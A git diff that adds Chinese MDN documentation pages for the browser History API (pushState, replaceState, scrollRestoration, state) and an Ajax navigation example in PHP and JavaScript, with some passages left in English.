const state = { 'page_id': 1, 'user_id': 5 }
+const title = ''
+const url = 'hello-world.html'
+
+history.pushState(state, title, url)
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "history.html#dom-history-pushstate", "History.pushState()")}}{{Spec2('HTML WHATWG')}}没有改变{{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "history.html#dom-history-pushstate", "History.pushState()")}}{{Spec2('HTML5 W3C')}}初始化
+ +

浏览器兼容性

+ + + +

{{Compat("api.History.pushState")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/history/replacestate/index.html b/files/zh-cn/web/api/history/replacestate/index.html new file mode 100644 index 0000000000..e2ff2e1311 --- /dev/null +++ b/files/zh-cn/web/api/history/replacestate/index.html @@ -0,0 +1,66 @@ +--- +title: History.replaceState() +slug: Web/API/History/replaceState +translation_of: Web/API/History/replaceState +--- +

{{APIRef("DOM")}}

+ +

replaceState()方法使用state objects, title,和 URL 作为参数, 修改当前历史记录实体,如果你想更新当前的state对象或者当前历史实体的URL来响应用户的的动作的话这个方法将会非常有用。

+ +

语法

+ +
history.replaceState(stateObj, title[, url]);
+ +

参数

+ +
+
stateObj
+
状态对象是一个JavaScript对象,它与传递给 replaceState 方法的历史记录实体相关联.
+
title
+
大部分浏览器忽略这个参数, 将来可能有用. 在此处传递空字符串应该可以防止将来对方法的更改。或者,您可以为该状态传递简短标题
+
url {{optional_inline}}
+
历史记录实体的URL. 新的URL跟当前的URL必须是同源; 否则 replaceState 抛出一个异常.
+
+ +

例子

+ +

假设 http://mozilla.org/foo.html 执行下面的 JavaScript 代码:

+ +
var stateObj = { foo: "bar" };
+history.pushState(stateObj, "", "bar.html");
+ +

上面这两行的解释可以在 "Example of pushState() method"这个章节找到。然后假设 http://mozilla.org/bar.html  执行下面的 JavaScript 代码:

+ +
history.replaceState(stateObj, "", "bar2.html");
+ +

这会让URL栏显示 http://mozilla.org/bar2.html, 但是不会刷新 bar2.html  页面 甚至不会检查bar2.html 是否存在

+ +

假设用户跳转到 http://www.microsoft.com, 然后点击返回按钮.这时, URL 栏将会显示 http://mozilla.org/bar2.html 页面. 如果用户此时点击返回按钮, URL栏将会显示 http://mozilla.org/foo.html 页面, 最终绕过了 bar.html 页面.

+ +

说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "browsers.html#history", "History")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "browsers.html#history", "History")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.History.replaceState")}}

diff --git a/files/zh-cn/web/api/history/scrollrestoration/index.html b/files/zh-cn/web/api/history/scrollrestoration/index.html new file mode 100644 index 0000000000..9ae0fa7d9b --- /dev/null +++ b/files/zh-cn/web/api/history/scrollrestoration/index.html @@ -0,0 +1,75 @@ +--- +title: History.scrollRestoration +slug: Web/API/History/scrollRestoration +tags: + - API + - HTML DOM + - History + - History API + - Property + - Reference +translation_of: Web/API/History/scrollRestoration +--- +
{{APIRef("History API")}}
+ +
+ +

{DOMxRef("History"))的接口——滚动恢复属性允许web应用程序在历史导航上显式地设置默认滚动恢复行为

+ +

语法

+ +
const scrollRestore = history.scrollRestoration
+ +

+ +
+
auto
+
将恢复用户已滚动到的页面上的位置。
+
manual
+
未还原页上的位置。用户必须手动滚动到该位置。
+
+ +

案例

+ +

查看当前页面滚动恢复行为

+ +
const scrollRestoration = history.scrollRestoration
+if (scrollRestoration === 'manual') {
+  console.log('The location on the page is not restored, user will need to scroll manually.');
+}
+
+ +

防止自动恢复页面位置

+ +
if (history.scrollRestoration) {
+  history.scrollRestoration = 'manual';
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态评论
{{SpecName("HTML WHATWG", "#scroll-restoration-mode", "scroll restoration mode")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "browsers.html#dom-history-scrollrestoration", "History.scrollRestoration")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.History.scrollRestoration")}}

diff --git a/files/zh-cn/web/api/history/state/index.html b/files/zh-cn/web/api/history/state/index.html new file mode 100644 index 0000000000..7b59ecb5eb --- /dev/null +++ b/files/zh-cn/web/api/history/state/index.html @@ -0,0 +1,69 @@ +--- +title: state +slug: Web/API/History/state +translation_of: Web/API/History/state +--- +

返回在 history 栈顶的 任意 值的拷贝。 通过这种方式可以查看 state 值,不必等待 popstate事件发生后再查看。

+ +

语法

+ +
let currentState = history.state;
+ +

如果不进行下面两种类型的调用,state 的值将会是 null 

+ +

{{domxref("History.pushState","pushState()")}} or {{domxref("History.replaceState","replaceState()")}}.

+ +

例子

+ +

下面 log 例句输出 history.state 的值,首先是在没有执行 {{domxref("History.pushState","pushState()")}} 语句进而将值 push 到 history 之前的 log。下面一行 log 语句再次输出 state 值,此时 history.state 已经有值。可以在脚本文件中执行下面语句,或者在控制台直接执行。

+ +
// 值为 null 因为我们还没有修改 history 栈
+console.log(`History.state before pushState: ${history.state}`);
+
+// 现在 push 一些数据到栈里
+history.replaceState({name: 'Example'}, "pushState example", 'page3.html');
+
+// 现在 state 已经有值了
+console.log(`History.state after pushState: ${history.state}`);
+ +

SpecificationsE

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
HTML Living Standard
+ The definition of 'History' in that specification.
Living StandardAdds the scrollRestoration attribute.
HTML5
+ The definition of 'History' in that specification.
RecommendationInitial definition.
Custom Scroll Restoration - History-based API
+ The definition of 'History' in that specification.
DraftAdds the scrollRestoration attribute.
+ +

Browser compatibility

+ + + +

{{Compat("api.History.state")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/history_api/example/index.html b/files/zh-cn/web/api/history_api/example/index.html new file mode 100644 index 0000000000..a59e531ad6 --- /dev/null +++ b/files/zh-cn/web/api/history_api/example/index.html @@ -0,0 +1,413 @@ +--- +title: Ajax navigation example +slug: Web/API/History_API/Example +translation_of: Web/API/History_API/Example +--- +

这是一个仅由三个页面组成的 AJAX 网站示例 (first_page.php, second_page.php and third_page.php). 要查看其如何工作的,请创建以下文件  (或 git clone https://github.com/giabao/mdn-ajax-nav-example.git ):

+ +
注意: 为了在该机制中很好地整合{{HTMLElement("form")}}元素 , 请看一下这段 Submitting forms and uploading files.
+ +

first_page.php:

+ +
+
<?php
+    $page_title = "First page";
+
+    $as_json = false;
+    if (isset($_GET["view_as"]) && $_GET["view_as"] == "json") {
+        $as_json = true;
+        ob_start();
+    } else {
+?>
+<!doctype html>
+<html>
+<head>
+<?php
+        include "include/header.php";
+        echo "<title>" . $page_title . "</title>";
+?>
+</head>
+
+<body>
+
+<?php include "include/before_content.php"; ?>
+
+<p>This paragraph is shown only when the navigation starts from <strong>first_page.php</strong>.</p>
+
+<div id="ajax-content">
+<?php } ?>
+
+    <p>This is the content of <strong>first_page.php</strong>.</p>
+
+<?php
+    if ($as_json) {
+        echo json_encode(array("page" => $page_title, "content" => ob_get_clean()));
+    } else {
+?>
+</div>
+
+<p>This paragraph is shown only when the navigation starts from <strong>first_page.php</strong>.</p>
+
+<?php
+        include "include/after_content.php";
+        echo "</body>\n</html>";
+    }
+?>
+
+
+ +

second_page.php:

+ +
+
<?php
+    $page_title = "Second page";
+
+    $as_json = false;
+    if (isset($_GET["view_as"]) && $_GET["view_as"] == "json") {
+        $as_json = true;
+        ob_start();
+    } else {
+?>
+<!doctype html>
+<html>
+<head>
+<?php
+        include "include/header.php";
+        echo "<title>" . $page_title . "</title>";
+?>
+</head>
+
+<body>
+
+<?php include "include/before_content.php"; ?>
+
+<p>This paragraph is shown only when the navigation starts from <strong>second_page.php</strong>.</p>
+
+<div id="ajax-content">
+<?php } ?>
+
+    <p>This is the content of <strong>second_page.php</strong>.</p>
+
+<?php
+    if ($as_json) {
+        echo json_encode(array("page" => $page_title, "content" => ob_get_clean()));
+    } else {
+?>
+</div>
+
+<p>This paragraph is shown only when the navigation starts from <strong>second_page.php</strong>.</p>
+
+<?php
+        include "include/after_content.php";
+        echo "</body>\n</html>";
+    }
+?>
+
+
+ +

third_page.php:

+ +
+
<?php
+    $page_title = "Third page";
+    $page_content = "<p>This is the content of <strong>third_page.php</strong>. This content is stored into a php variable.</p>";
+
+    if (isset($_GET["view_as"]) && $_GET["view_as"] == "json") {
+        echo json_encode(array("page" => $page_title, "content" => $page_content));
+    } else {
+?>
+<!doctype html>
+<html>
+<head>
+<?php
+        include "include/header.php";
+        echo "<title>" . $page_title . "</title>";
+?>
+</head>
+
+<body>
+
+<?php include "include/before_content.php"; ?>
+
+<p>This paragraph is shown only when the navigation starts from <strong>third_page.php</strong>.</p>
+
+<div id="ajax-content">
+<?php echo $page_content; ?>
+</div>
+
+<p>This paragraph is shown only when the navigation starts from <strong>third_page.php</strong>.</p>
+
+<?php
+        include "include/after_content.php";
+        echo "</body>\n</html>";
+    }
+?>
+
+
+ +

css/style.css:

+ +
#ajax-loader {
+    position: fixed;
+    display: table;
+    top: 0;
+    left: 0;
+    width: 100%;
+    height: 100%;
+}
+
+#ajax-loader > div {
+    display: table-cell;
+    width: 100%;
+    height: 100%;
+    vertical-align: middle;
+    text-align: center;
+    background-color: #000000;
+    opacity: 0.65;
+}
+
+ +

include/after_content.php:

+ +
<p>This is the footer. It is shared between all ajax pages.</p>
+
+ +

include/before_content.php:

+ +
<p>
+[ <a class="ajax-nav" href="first_page.php">First example</a>
+| <a class="ajax-nav" href="second_page.php">Second example</a>
+| <a class="ajax-nav" href="third_page.php">Third example</a>
+| <a class="ajax-nav" href="unexisting.php">Unexisting page</a> ]
+</p>
+
+
+ +

include/header.php:

+ +
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<script type="text/javascript" src="js/ajax_nav.js"></script>
+<link rel="stylesheet" href="css/style.css" />
+
+ +

js/ajax_nav.js:

+ +
+
"use strict";
+
+const ajaxRequest = new (function () {
+
+    function closeReq () {
+        oLoadingBox.parentNode && document.body.removeChild(oLoadingBox);
+        bIsLoading = false;
+    }
+
+    function abortReq () {
+        if (!bIsLoading) { return; }
+        oReq.abort();
+        closeReq();
+    }
+
+    function ajaxError () {
+        alert("Unknown error.");
+    }
+
+    function ajaxLoad () {
+        var vMsg, nStatus = this.status;
+        switch (nStatus) {
+            case 200:
+                vMsg = JSON.parse(this.responseText);
+                document.title = oPageInfo.title = vMsg.page;
+                document.getElementById(sTargetId).innerHTML = vMsg.content;
+                if (bUpdateURL) {
+                    history.pushState(oPageInfo, oPageInfo.title, oPageInfo.url);
+                    bUpdateURL = false;
+                }
+                break;
+            default:
+                vMsg = nStatus + ": " + (oHTTPStatus[nStatus] || "Unknown");
+                switch (Math.floor(nStatus / 100)) {
+                    /*
+                    case 1:
+                        // Informational 1xx
+                        console.log("Information code " + vMsg);
+                        break;
+                    case 2:
+                        // Successful 2xx
+                        console.log("Successful code " + vMsg);
+                        break;
+                    case 3:
+                        // Redirection 3xx
+                        console.log("Redirection code " + vMsg);
+                        break;
+                    */
+                    case 4:
+                        /* Client Error 4xx */
+                        alert("Client Error #" + vMsg);
+                        break;
+                    case 5:
+                        /* Server Error 5xx */
+                        alert("Server Error #" + vMsg);
+                        break;
+                    default:
+                        /* Unknown status */
+                        ajaxError();
+                }
+        }
+        closeReq();
+    }
+
+    function filterURL (sURL, sViewMode) {
+        return sURL.replace(rSearch, "") + ("?" + sURL.replace(rHost, "&").replace(rView, sViewMode ? "&" + sViewKey + "=" + sViewMode : "").slice(1)).replace(rEndQstMark, "");
+    }
+
+    function getPage (sPage) {
+        if (bIsLoading) { return; }
+        oReq = new XMLHttpRequest();
+        bIsLoading = true;
+        oReq.onload = ajaxLoad;
+        oReq.onerror = ajaxError;
+        if (sPage) { oPageInfo.url = filterURL(sPage, null); }
+        oReq.open("get", filterURL(oPageInfo.url, "json"), true);
+        oReq.send();
+        oLoadingBox.parentNode || document.body.appendChild(oLoadingBox);
+    }
+
+    function requestPage (sURL) {
+        if (history.pushState) {
+            bUpdateURL = true;
+            getPage(sURL);
+        } else {
+            /* Ajax navigation is not supported */
+            location.assign(sURL);
+        }
+    }
+
+    function processLink () {
+        if (this.className === sAjaxClass) {
+            requestPage(this.href);
+            return false;
+        }
+        return true;
+    }
+
+    function init () {
+        oPageInfo.title = document.title;
+        history.replaceState(oPageInfo, oPageInfo.title, oPageInfo.url);
+        for (var oLink, nIdx = 0, nLen = document.links.length; nIdx < nLen; document.links[nIdx++].onclick = processLink);
+    }
+
+    const
+
+        /* customizable constants */
+        sTargetId = "ajax-content", sViewKey = "view_as", sAjaxClass = "ajax-nav",
+
+        /* not customizable constants */
+        rSearch = /\?.*$/, rHost = /^[^\?]*\?*&*/, rView = new RegExp("&" + sViewKey + "\\=[^&]*|&*$", "i"), rEndQstMark = /\?$/,
+        oLoadingBox = document.createElement("div"), oCover = document.createElement("div"), oLoadingImg = new Image(),
+        oPageInfo = {
+            title: null,
+            url: location.href
+        }, oHTTPStatus = /* http://www.iana.org/assignments/http-status-codes/http-status-codes.xml */ {
+            100: "Continue",
+            101: "Switching Protocols",
+            102: "Processing",
+            200: "OK",
+            201: "Created",
+            202: "Accepted",
+            203: "Non-Authoritative Information",
+            204: "No Content",
+            205: "Reset Content",
+            206: "Partial Content",
+            207: "Multi-Status",
+            208: "Already Reported",
+            226: "IM Used",
+            300: "Multiple Choices",
+            301: "Moved Permanently",
+            302: "Found",
+            303: "See Other",
+            304: "Not Modified",
+            305: "Use Proxy",
+            306: "Reserved",
+            307: "Temporary Redirect",
+            308: "Permanent Redirect",
+            400: "Bad Request",
+            401: "Unauthorized",
+            402: "Payment Required",
+            403: "Forbidden",
+            404: "Not Found",
+            405: "Method Not Allowed",
+            406: "Not Acceptable",
+            407: "Proxy Authentication Required",
+            408: "Request Timeout",
+            409: "Conflict",
+            410: "Gone",
+            411: "Length Required",
+            412: "Precondition Failed",
+            413: "Request Entity Too Large",
+            414: "Request-URI Too Long",
+            415: "Unsupported Media Type",
+            416: "Requested Range Not Satisfiable",
+            417: "Expectation Failed",
+            422: "Unprocessable Entity",
+            423: "Locked",
+            424: "Failed Dependency",
+            425: "Unassigned",
+            426: "Upgrade Required",
+            427: "Unassigned",
+            428: "Precondition Required",
+            429: "Too Many Requests",
+            430: "Unassigned",
+            431: "Request Header Fields Too Large",
+            500: "Internal Server Error",
+            501: "Not Implemented",
+            502: "Bad Gateway",
+            503: "Service Unavailable",
+            504: "Gateway Timeout",
+            505: "HTTP Version Not Supported",
+            506: "Variant Also Negotiates (Experimental)",
+            507: "Insufficient Storage",
+            508: "Loop Detected",
+            509: "Unassigned",
+            510: "Not Extended",
+            511: "Network Authentication Required"
+        };
+
+    var
+
+        oReq, bIsLoading = false, bUpdateURL = false;
+
+    oLoadingBox.id = "ajax-loader";
+    oCover.onclick = abortReq;
+    oLoadingImg.src = "data:image/gif;base64,R0lGODlhEAAQAPIAAP///wAAAMLCwkJCQgAAAGJiYoKCgpKSkiH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQJCgAAACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkECQoAAAAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkECQoAAAAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkECQoAAAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQJCgAAACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQJCgAAACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAkKAAAALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA==";
+    oCover.appendChild(oLoadingImg);
+    oLoadingBox.appendChild(oCover);
+
+    onpopstate = function (oEvent) {
+        bUpdateURL = false;
+        oPageInfo.title = oEvent.state.title;
+        oPageInfo.url = oEvent.state.url;
+        getPage();
+    };
+
+    window.addEventListener ? addEventListener("load", init, false) : window.attachEvent ? attachEvent("onload", init) : (onload = init);
+
+    // Public methods
+
+    this.open = requestPage;
+    this.stop = abortReq;
+    this.rebuildLinks = init;
+
+})();
+
+
+ +


+ For more information, please see: Manipulating the browser history.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/history_api/index.html b/files/zh-cn/web/api/history_api/index.html new file mode 100644 index 0000000000..2c4edffce9 --- /dev/null +++ b/files/zh-cn/web/api/history_api/index.html @@ -0,0 +1,213 @@ +--- +title: History API +slug: Web/API/History_API +tags: + - API + - History + - History API +translation_of: Web/API/History_API +--- +
{{DefaultAPISidebar("History API")}}
+ +

DOM {{ domxref("window") }} 对象通过 {{ domxref("window.history", "history") }} 对象提供了对浏览器的会话历史的访问(不要与 WebExtensions history搞混了)。它暴露了很多有用的方法和属性,允许你在用户浏览历史中向前和向后跳转,同时——从HTML5开始——提供了对history栈中内容的操作。

+ +

意义及使用

+ +

使用 {{DOMxRef("History.back","back()")}},  {{DOMxRef("History.forward","forward()")}}和  {{DOMxRef("History.go","go()")}} 方法来完成在用户历史记录中向后和向前的跳转。

+ +

向前和向后跳转

+ +

在history中向后跳转:

+ +
window.history.back();
+
+ +

这和用户点击浏览器回退按钮的效果相同。

+ +

类似地,你可以向前跳转(如同用户点击了前进按钮):

+ +
window.history.forward();
+
+ +

跳转到 history 中指定的一个点

+ +

你可以用 go() 方法载入到会话历史中的某一特定页面, 通过与当前页面相对位置来标志 (当前页面的相对位置标志为0).

+ +

向后移动一个页面 (等同于调用 back()):

+ +
window.history.go(-1);
+
+ +

向前移动一个页面, 等同于调用了 forward():

+ +
window.history.go(1);
+
+ +

类似地,你可以传递参数值2并向前移动2个页面,等等。

+ +

您可以通过查看长度属性的值来确定的历史堆栈中页面的数量:

+ +
 let numberOfEntries = window.history.length;
+
+ +
注意: IE 支持传递URLs作为参数给 go(); 这在Gecko是不标准且不支持的。
+ +

添加和修改历史记录中的条目

+ +

{{ gecko_minversion_header("2") }}

+ +

HTML5引入了 history.pushState() 和 history.replaceState() 方法,它们分别可以添加和修改历史记录条目。这些方法通常与{{ domxref("window.onpopstate") }} 配合使用。

+ +

使用 history.pushState() 可以改变referrer,它在用户发送 XMLHttpRequest 请求时在HTTP头部使用,改变state后创建的 XMLHttpRequest 对象的referrer都会被改变。因为referrer是标识创建  XMLHttpRequest 对象时 this 所代表的window对象中document的URL。

+ +

pushState() 方法的例子

+ +

假设在 http://mozilla.org/foo.html 页面的console中执行了以下 JavaScript 代码:

+ +
window.onpopstate = function(e) {
+   alert(2);
+}
+
+let stateObj = {
+    foo: "bar",
+};
+
+history.pushState(stateObj, "page 2", "bar.html");
+
+ +

这将使浏览器地址栏显示为 http://mozilla.org/bar.html,但并不会导致浏览器加载 bar.html ,甚至不会检查bar.html 是否存在。

+ +

假如现在用户在bar.html点击了返回按钮,将会执行alert(2)。

+ +

假设现在用户在bar.html又访问了 http://google.com,然后点击了返回按钮。此时,地址栏将显示 http://mozilla.org/bar.html,history.state 中包含了 stateObj 的一份拷贝。页面此时展现为bar.html。且因为页面被重新加载了,所以popstate事件将不会被触发,也不会执行alert(2)。

+ +

如果我们再次点击返回按钮,页面URL会变为http://mozilla.org/foo.html,文档对象document会触发另外一个 popstate 事件(如果有bar.html,且bar.html注册了onpopstate事件,将会触发此事件,因此也不会执行foo页面注册的onpopstate事件,也就是不会执行alert(2)),这一次的事件对象state object为null。 这里也一样,返回并不改变文档的内容,尽管文档在接收 popstate 事件时可能会改变自己的内容,其内容仍与之前的展现一致。

+ +

如果我们再次点击返回按钮,页面URL变为其他页面的url,依然不会执行alert(2)。因为在返回到foo页面的时候并没有pushState。

+ +

pushState() 方法

+ +

pushState() 需要三个参数: 一个状态对象, 一个标题 (目前被忽略), 和 (可选的) 一个URL. 让我们来解释下这三个参数详细内容:

+ + + +
注意: 从 Gecko 2.0 {{ geckoRelease("2.0") }} 到 Gecko 5.0 {{ geckoRelease("5.0") }},传递的对象是使用JSON进行序列化的。 从  Gecko 6.0 {{ geckoRelease("6.0") }}开始,该对象的序列化将使用结构化克隆算法。这将会使更多对象可以被安全的传递。
+ +

        在某种意义上,调用 pushState() 与 设置 window.location = "#foo" 类似,二者都会在当前页面创建并激活新的历史记录。但 pushState() 具有如下几条优点:

+ + + +

注意 pushState() 绝对不会触发 hashchange 事件,即使新的URL与旧的URL仅哈希不同也是如此。

+ +

在 XUL 文档中,它创建指定的 XUL 元素。

+ +

在其它文档中,它创建一个命名空间URI为null的元素。

+ +

replaceState() 方法

+ +

history.replaceState() 的使用与 history.pushState() 非常相似,区别在于  replaceState()  是修改了当前的历史记录项而不是新建一个。 注意这并不会阻止其在全局浏览器历史记录中创建一个新的历史记录项。

+ +

replaceState() 的使用场景在于为了响应用户操作,你想要更新状态对象state或者当前历史记录的URL。

+ +
注意: 从Gecko 2.0 {{ geckoRelease("2.0") }} 到 Gecko 5.0 {{ geckoRelease("5.0") }},传递的对象是使用JSON进行序列化的。 从  Gecko 6.0 {{ geckoRelease("6.0") }}开始,该对象的序列化将使用结构化克隆算法。这将会使更多对象可以被安全的传递。
+ +

replaceState() 方法示例

+ +

假设 http://mozilla.org/foo.html 执行了如下JavaScript代码:

+ +
let stateObj = {
+    foo: "bar",
+};
+
+history.pushState(stateObj, "page 2", "bar.html");
+
+ +

上文2行代码可以在 "pushState()方法示例" 部分找到。然后,假设http://mozilla.org/bar.html执行了如下 JavaScript:

+ +
history.replaceState(stateObj, "page 3", "bar2.html");
+
+ +

这将会导致地址栏显示http://mozilla.org/bar2.html,,但是浏览器并不会去加载bar2.html 甚至都不需要检查 bar2.html 是否存在。

+ +

假设现在用户重新导向到了http://www.microsoft.com,然后点击了回退按钮。这里,地址栏会显示http://mozilla.org/bar2.html。假如用户再次点击回退按钮,地址栏会显示http://mozilla.org/foo.html,完全跳过了bar.html。

+ +

popstate 事件

+ +

        每当活动的历史记录项发生变化时, popstate 事件都会被传递给window对象。如果当前活动的历史记录项是被 pushState 创建的,或者是由 replaceState 改变的,那么 popstate 事件的状态属性 state 会包含一个当前历史记录状态对象的拷贝。

+ +

使用示例请参见 {{ domxref("window.onpopstate") }} 。

+ +

获取当前状态

+ +

        页面加载时,或许会有个非null的状态对象。这是有可能发生的,举个例子,假如页面(通过pushState() 或 replaceState() 方法)设置了状态对象而后用户重启了浏览器。那么当页面重新加载时,页面会接收一个onload事件,但没有 popstate 事件。然而,假如你读取了history.state属性,你将会得到如同popstate 被触发时能得到的状态对象。

+ +

你可以读取当前历史记录项的状态对象state,而不必等待popstate 事件, 只需要这样使用history.state 属性: 

+ +
  // 尝试通过 pushState 创建历史条目,然后再刷新页面查看state状态对象变化;
+  window.addEventListener('load',() => {
+    let currentState = history.state;
+    console.log('currentState',currentState);
+  })
+
+ +

例子

+ +

完整的AJAX网站示例,请参阅: Ajax navigation example.

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "browsers.html#history", "History")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#history", "History")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.History")}}

+ +

另见

+ +

参考

+ + + +

Guides

+ + diff --git a/files/zh-cn/web/api/history_api/working_with_the_history_api/index.html b/files/zh-cn/web/api/history_api/working_with_the_history_api/index.html new file mode 100644 index 0000000000..9b9bcaef37 --- /dev/null +++ b/files/zh-cn/web/api/history_api/working_with_the_history_api/index.html @@ -0,0 +1,126 @@ +--- +title: Working with the History API +slug: Web/API/History_API/Working_with_the_History_API +translation_of: Web/API/History_API/Working_with_the_History_API +--- +

HTML5引入了{{DOMxRef("History.pushState","pushState()")}}和{{DOMxRef("History.replaceState","replaceState()")}}方法,分别用于添加和修改历史记录。这些方法与{{domxref("Window.onpopstate","onpopstate")}} 事件一起工作。

+ +

添加和修改历史记录

+ +

{{ gecko_minversion_header("2") }}

+ +

Using {{DOMxRef("History.pushState","pushState()")}} changes the referrer that gets used in the HTTP header for {{domxref("XMLHttpRequest")}} objects created after you change the state. The referrer will be the URL of the document whose window is this at the time of creation of the {{domxref("XMLHttpRequest")}} object.

+ +

pushState()方法实例

+ +

假设 http://mozilla.org/foo.html 执行下面的JavaScript:

+ +
let stateObj = {
+    foo: "bar",
+}
+
+history.pushState(stateObj, "page 2", "bar.html")
+
+ +

This will cause the URL bar to display http://mozilla.org/bar.html, but won't cause the browser to load bar.html or even check that bar.html exists.

+ +

Suppose now that the user navigates to http://google.com, then clicks the Back button. At this point, the URL bar will display http://mozilla.org/bar.html and history.state will contain the stateObj. The popstate event won't be fired because the page has been reloaded. The page itself will look like bar.html.

+ +

If the user clicks Back once again, the URL will change to http://mozilla.org/foo.html, and the document will get a popstate event, this time with a null state object. Here too, going back doesn't change the document's contents from what they were in the previous step, although the document might update its contents manually upon receiving the popstate event.

+ +
+

Note: Calling history.back() normally behaves the same way as clicking the Back button. But there is one important exception:

+ +

After using history.pushState(), calling history.back() does not raise a popstate event. Clicking the browser's Back button (still) does.

+
+ +

The pushState() method

+ +

pushState() takes three parameters: a state object; a title (currently ignored); and (optionally), a URL.

+ +

Let's examine each of these three parameters in more detail.

+ +
+
state object 
+
The state object is a JavaScript object which is associated with the new history entry created by pushState(). Whenever the user navigates to the new state, a popstate event is fired, and the state property of the event contains a copy of the history entry's state object.
+
The state object can be anything that can be serialized. Because Firefox saves state objects to the user's disk so they can be restored after the user restarts the browser, we impose a size limit of 640k characters on the serialized representation of a state object. If you pass a state object whose serialized representation is larger than this to pushState(), the method will throw an exception. If you need more space than this, you're encouraged to use sessionStorage and/or localStorage.
+
+ +
+
title
+
All browsers but Safari currently ignore this parameter, although they may use it in the future. Passing the empty string here should be safe against future changes to the method. Alternatively, you could pass a short title for the state to which you're moving.
+
+ +
+
URL
+
The new history entry's URL is given by this parameter. Note that the browser won't attempt to load this URL after a call to pushState(), but it might attempt to load the URL later, for instance after the user restarts the browser. The new URL does not need to be absolute; if it's relative, it's resolved relative to the current URL. The new URL must be of the same origin as the current URL; otherwise, pushState() will throw an exception. This parameter is optional; if it isn't specified, it's set to the document's current URL.
+
+ +
Note: In Gecko 2.0 {{ geckoRelease("2.0") }} through Gecko 5.0 {{ geckoRelease("5.0") }}, the passed object is serialized using JSON. Starting in Gecko 6.0 {{ geckoRelease("6.0") }}, the object is serialized using the structured clone algorithm. This allows a wider variety of objects to be safely passed.
+ +

In a sense, calling pushState() is similar to setting window.location = "#foo", in that both will also create and activate another history entry associated with the current document.

+ +

But pushState() has a few advantages:

+ + + +

Note that pushState() never causes a hashchange event to be fired, even if the new URL differs from the old URL only in its hash.

+ +

In a XUL document, it creates the specified XUL element.

+ +

In other documents, it creates an element with a null namespace URI.

+ +

The replaceState() method

+ +

history.replaceState() operates exactly like history.pushState(), except that replaceState() modifies the current history entry instead of creating a new one. Note that this doesn't prevent the creation of a new entry in the global browser history.

+ +

replaceState() is particularly useful when you want to update the state object or URL of the current history entry in response to some user action.

+ +
Note: In Gecko 2.0 {{ geckoRelease("2.0") }} through Gecko 5.0 {{ geckoRelease("5.0") }}, the passed object is serialized using JSON. Starting in Gecko 6.0 {{ geckoRelease("6.0") }}, the object is serialized using the structured clone algorithm. This allows a wider variety of objects to be safely passed.
+ +

Example of replaceState() method

+ +

Suppose http://mozilla.org/foo.html executes the following JavaScript:

+ +
let stateObj = { foo: "bar" }
+history.pushState(stateObj, "page 2", "bar.html")
+
+ +

The explanation of these two lines above can be found at the above section Example of pushState() method section.

+ +

Next, suppose http://mozilla.org/bar.html executes the following JavaScript:

+ +
history.replaceState(stateObj, "page 3", "bar2.html")
+
+ +

This will cause the URL bar to display http://mozilla.org/bar2.html, but won't cause the browser to load bar2.html or even check that bar2.html exists.

+ +

Suppose now that the user navigates to http://www.microsoft.com, then clicks the Back button. At this point, the URL bar will display http://mozilla.org/bar2.html. If the user now clicks Back again, the URL bar will display http://mozilla.org/foo.html, and totally bypass bar.html.

+ +

The popstate event

+ +

A popstate event is dispatched to the window every time the active history entry changes. If the history entry being activated was created by a call to {{DOMxRef("History.pushState","pushState")}} or affected by a call to {{DOMxRef("History.replaceState","replaceState")}}, the popstate event's state property contains a copy of the history entry's state object.

+ +

See {{ domxref("Window.onpopstate") }} for sample usage.

+ +

Reading the current state

+ +

When your page loads, it might have a non-null state object.  This can happen, for example, if the page sets a state object (using {{DOMxRef("History.pushState","pushState()")}} or {{DOMxRef("History.replaceState","replaceState()")}}) and then the user restarts their browser. When the page reloads, the page will receive an onload event, but no popstate event. However, if you read the {{DOMxRef("History.state","history.state")}} property, you'll get back the state object you would have gotten if a popstate had fired.

